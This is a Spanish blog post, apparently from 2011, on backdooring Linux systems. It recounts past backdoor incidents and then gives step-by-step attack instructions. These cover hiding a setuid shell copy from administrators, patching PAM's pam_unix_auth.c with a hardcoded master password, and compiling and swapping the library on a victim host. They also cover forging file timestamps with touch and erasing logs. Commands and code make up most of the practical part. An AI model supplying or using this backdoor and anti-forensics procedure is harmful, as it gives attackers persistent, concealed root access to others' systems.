Instalar una puerta trasera en un sistema Linux

Básicamente existen dos líneas de acción para comprometer un sistema Linux. Usar un ataque de día-cero (0-day) o modificar un binario del sistema para instalar una puerta trasera (backdoor). Normalmente los ataques 0-day de un cracker suelen ir seguidos de la instalación de una puerta trasera.

En esta entrada se verán algunos métodos para comprometer un sistema Linux mediante la instalación de una puerta trasera o backdoor.

Tabla de contenidos

1.- Antecedentes
Ningún sistema está exento de ser comprometido, y existen multitud de antecedentes. En el mundo Linux uno de los más destacado fue el intento de instalar una puerta trasera en el kernel Linux en noviembre de 2003.

El 6 de noviembre de 2003 Larry McVoy anunciaba que se había producido una intrusión en el CVS del kernel Linux. Los crackers introdujeron dos líneas de código extra en la llamada al sistema wait4(), de tal forma que ejecutando un pequeño binario se activaba la puerta trasera y se abría una root shell. Afortunadamente se detecto la intrusión y los cambios introducidos por los crackers nunca fueron intregrados en ningún kernel Linux, es decir, no se llego a distribuir ningún kernel con la backdoor.

Otro suceso similar ocurrió el 28 de noviembre del 2010 con el servidor de FTP ProFTPD. Los crackers insertaron una puerta trasera en la versión 1.3.3c de ProFTP. Esta puerta trasera se conectaba a una dirección ip y llevaba a cabo una petición, de esta forma los crackers sabían los servidores que corrían la versión con el backdoor. Posteriormente tan solo debían conectarse al FTP y ejecutar el comando HELP ACIDBITCHEZ para obtener acceso root. Tres días más tarde el suceso fue detectado y solucionado por Jeroen Geilman.

Recientemente fue crackeada la versión v2.3.4 del servidor de FTP Vsftpd, a la cual introdujeron una puerta trasera para obtener una root shell. Podéis leer más en Security: Alert: vsftpd download backdoored

Por último citaremos un hack a un peso pesado de internet: el famoso hackeo a twitter llevado a cabo por Security By Default. En este caso pusieron a prueba la seguridad de twitter, publicando en otra cuenta. Como victima eligieron a Enrique Dans, a quien informaron del hackeo y quien se tomo el asunto a bien. Si estais interesado, podéis leer la historia en Hackeos memorables: El Twitter de Enrique Dans.

Si esta interesado en conocer más sobre hacks, cracks o exploits utilizados para vulnerar los sistemas, puede consultar The Exploits Database.


2.- Bits de permisos especiales
Los bits de permisos especiales tales como setuid y setgid indican al kernel que el programa ha de ejecutarse con los permisos del usuario propietario del archivo en lugar de con los permisos del usuario que ejecuta el programa.

Tan solo bastará que asigne el bit setuid al ejecutable de una shell. Puede llevar a cabo esta tarea apagando el servidor, iniciando desde un LiveCD y haciendo las modificaciones oportunas. O si tiene acceso como usuario root, podrá montar un entorno chroot y asignar el bit setuid desde él. Obviamente también existe la posibilidad de explotar una vulnerabilidad 0-day aun no parcheada para irrumpir en el servidor y hacer los cambios oportunos.

En cualquier caso, en este tipo de técnicas lo normal es no asignar el bit setuid a la consola por defecto del sistema, normalmente /bin/bash. Para no ser descubiertos lo mejor es copiar el ejecutable a otra ruta, donde no levante sospecha, como por ejemplo /usr/local/bin.

Además en lugar de usar la consola bash, que es la más extendida en el mundo Linux, puede probar con otras consolas. Esto no engañará al administrador, pero es probable que si algún jefecillo con acceso al sistema investigando ejecuta por error nuestra consola con acceso root, una consola poco conocida lo desoriente. Para esta tarea nada mejor que Z shell. Al ejecutar zsh en un sistema en la que no está configurada, muestra un mensaje ([+/-] Ver mensaje) para su configuración. Con suerte el jefecillo se sentirá intimidado por el mensaje y saldrá pensando que rompió algo.

Tal vez piense que modificar /etc/passwd para crear un usuario y asignar-le id 0 sea más rápido. Pero debe tener en cuenta que cuanto más escondido este el backdoor, más difícil será detectarlo y por ende más tiempo podrá usarlo. Por ello los backdoors más efectivos son los que se insertan en el propio código fuente de los programas. La probabilidad de detectar un backdoor en un binario es nula.


3.- Instalar una puerta trasera en PAM
Como ya se vio anteriormente en la entrada ¿Qué es Pluggable Authentication Modules (PAM)?, PAM se encarga de todo el proceso de autenticación, autorización y control de recursos en un sistema Linux. Si logra introducir una puerta trasera en PAM, podrá acceder a cualquier cuenta del sistema (incluido root) usando una contraseña maestra.

Para esta tarea necesitará descargar el código fuente de PAM, agregar una pequeña línea de código y compilar-lo. Por último tan solo deberá sustituir una de las bibliotecas de PAM del sistema de la victima por la biblioteca compilada con la puerta trasera. A continuación veremos todo esto detenidamente:


3.1.- Descargar las fuentes de PAM
Puede obtener el código fuente de PAM en A Linux-PAM page. Antes de continuar compruebe la versión de PAM instalada en el sistema. En cualquier caso no debería tener problemas si descarga una versión distinta a la instalada en el sistema donde se instalará la backdoor.
agd-desktop # wget ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.4.tar.bz2
--2011-07-11 19:41:50--  ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.4.tar.bz2
           => `Linux-PAM-1.1.4.tar.bz2'
Resolviendo ftp.kernel.org... 149.20.4.69, 149.20.20.133
Connecting to ftp.kernel.org|149.20.4.69|:21... conectado.
Identificándose como anonymous ... ¡Dentro!
==> SYST ... hecho.   ==> PWD ... hecho.
==> TYPE I ... hecho.  ==> CWD (1) /pub/linux/libs/pam/library ... hecho.
==> SIZE Linux-PAM-1.1.4.tar.bz2 ... 1123186
==> PASV ... hecho.   ==> RETR Linux-PAM-1.1.4.tar.bz2 ... hecho.
Longitud: 1123186 (1,1M) (probablemente)

100%[======================================>] 1.123.186   95,0K/s   in 43s     

2011-07-11 19:42:37 (25,7 KB/s) - `Linux-PAM-1.1.4.tar.bz2' saved [1123186]

Descomprima el código fuente y localice el archivo modules/pam_unix/pam_unix_auth.c En el deberá insertar el código para la puerta trasera.
agd-desktop pam_unix.so # tar -xvf Linux-PAM-1.1.4.tar.bz2
agd-desktop pam_unix.so # cd Linux-PAM-1.1.4
agd-desktop Linux-PAM-1.1.4 # 


3.2.- Modificar el código fuente
Edite el archivo modules/pam_unix/pam_unix_auth.c y busque la cadena retval = _unix_verify_password(pamh, name, p, ctrl);, justo debajo coloque la cadena if (strcmp(p,"makeinstall")==0 ){retval = PAM_SUCCESS;}. Sustituya makeinstall por la contraseña que desee. El código deberá quedar así:
        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if (strcmp(p,"makeinstall")==0 ){retval = PAM_SUCCESS;}
        name = p = NULL;

        AUTH_RETURN;
}

Una vez modificado, tan solo debe de compilar el código con ./configure y make. Si al finalizar la compilación observa algunas errores del tipo make[]: se sale del directorio, ignore-los.
agd-desktop Linux-PAM-1.1.4 # ./configure 
agd-desktop Linux-PAM-1.1.4 # make
....
....
....
 check_user.o check_user.c
mv -f .deps/check_user.Tpo .deps/check_user.Po
/bin/sh ../libtool --tag=CC   --mode=link gcc -I../libpam/include -I../libpamc/include -I../libpam_misc/include -g -O2  -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o check_user check_user.o -L../libpam -lpam -L../libpam_misc -lpam_misc 
libtool: link: gcc -I../libpam/include -I../libpamc/include -I../libpam_misc/include -g -O2 -Wl,--as-needed -Wl,--no-undefined -Wl,-O1 -o .libs/check_user check_user.o  -L/tmp/pam_unix.so/Linux-PAM-1.1.4/libpam -L/tmp/pam_unix.so/Linux-PAM-1.1.4/libpam_misc /tmp/pam_unix.so/Linux-PAM-1.1.4/libpam_misc/.libs/libpam_misc.so /tmp/pam_unix.so/Linux-PAM-1.1.4/libpam/.libs/libpam.so -ldl
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/examples'
Making all in xtests
make[2]: se ingresa al directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/xtests'
make[2]: No se hace nada para `all'.
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4/xtests'
make[2]: se ingresa al directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'
make[2]: No se hace nada para `all-am'.
make[2]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'
make[1]: se sale del directorio `/tmp/pam_unix.so/Linux-PAM-1.1.4'


3.3.- Reemplazar la biblioteca pam_unix.so del sistema
Una vez compilado PAM con la puerta trasera, tan solo deberá reemplazar la biblioteca pam_unix.so del sistema atacado. Normalmente dicha biblioteca se aloja en /lib/security/ aunque puede variar ligeramente de un sistema a otro; en ubuntu, por ejemplo, se localiza en /lib/i386-linux-gnu/security/.

Para sustituir dicha biblioteca precisará privilegios de root, por lo que deberá de explotar una vulnerabilidad 0-day o si tiene acceso físico al sistema arrancar desde un LiveCD para sustituir la biblioteca.
agd-desktop Linux-PAM-1.1.4 # scp modules/pam_unix/.libs/pam_unix.so makeinstall@192.168.1.121:/home/makeinstall/
makeinstall@192.168.1.121's password: 
pam_unix.so                         100%  142KB 142.1KB/s 142.1KB/s   00:00    
agd-desktop Linux-PAM-1.1.4 # ssh makeinstall@192.168.1.121
makeinstall@192.168.1.121's password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-generic i686)

 * Documentation:  https://help.ubuntu.com/

82 packages can be updated.
32 updates are security updates.

*** /dev/vda1 will be checked for errors at next reboot ***

Last login: Thu Jun 23 13:07:44 2011 from 192.168.1.20
makeinstall@VM:~$ sudo mv /home/makeinstall/pam_unix.so /lib/i386-linux-gnu/security/pam_unix.so


3.4.- Ocultar el rastro
La fecha de creación de la biblioteca modificada podrías dar indicios de una modificación, por ello deberá modificar la fecha de creación haciendo uso del comando touch.
makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rw-r--r-- 1 root root 50864 2011-05-31 14:32 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ sudo mv /home/makeinstall/pam_unix.so /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rw-r--r-- 1 root root 50864 2011-07-11 20:14 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ sudo touch -t 201105311432 /lib/i386-linux-gnu/security/pam_unix.so
makeinstall@VM:~$ ls -la /lib/i386-linux-gnu/security/pam_unix*
-rwxr-xr-x 1 root root 145503 2011-05-31 14:32 /lib/i386-linux-gnu/security/pam_unix.so

Por último deberá revisar los logs el sistema para borrar todo indicio de las actividades. Si desea saber más sobre sistemas de registros en Linux, puede leer la entrada Gestión de archivos de registro del sistema.

2 comentarios:

#
Anónimo dijo...

Excelente articulo brother

#
Antonio Guillen dijo...

Gracias

Publicar un comentario en la entrada

Recuerde que puede utilizar algunos códigos HTML como <b>para negrita</b>, <i>para cursiva</i> y <a href="URL">para enlaces</a>.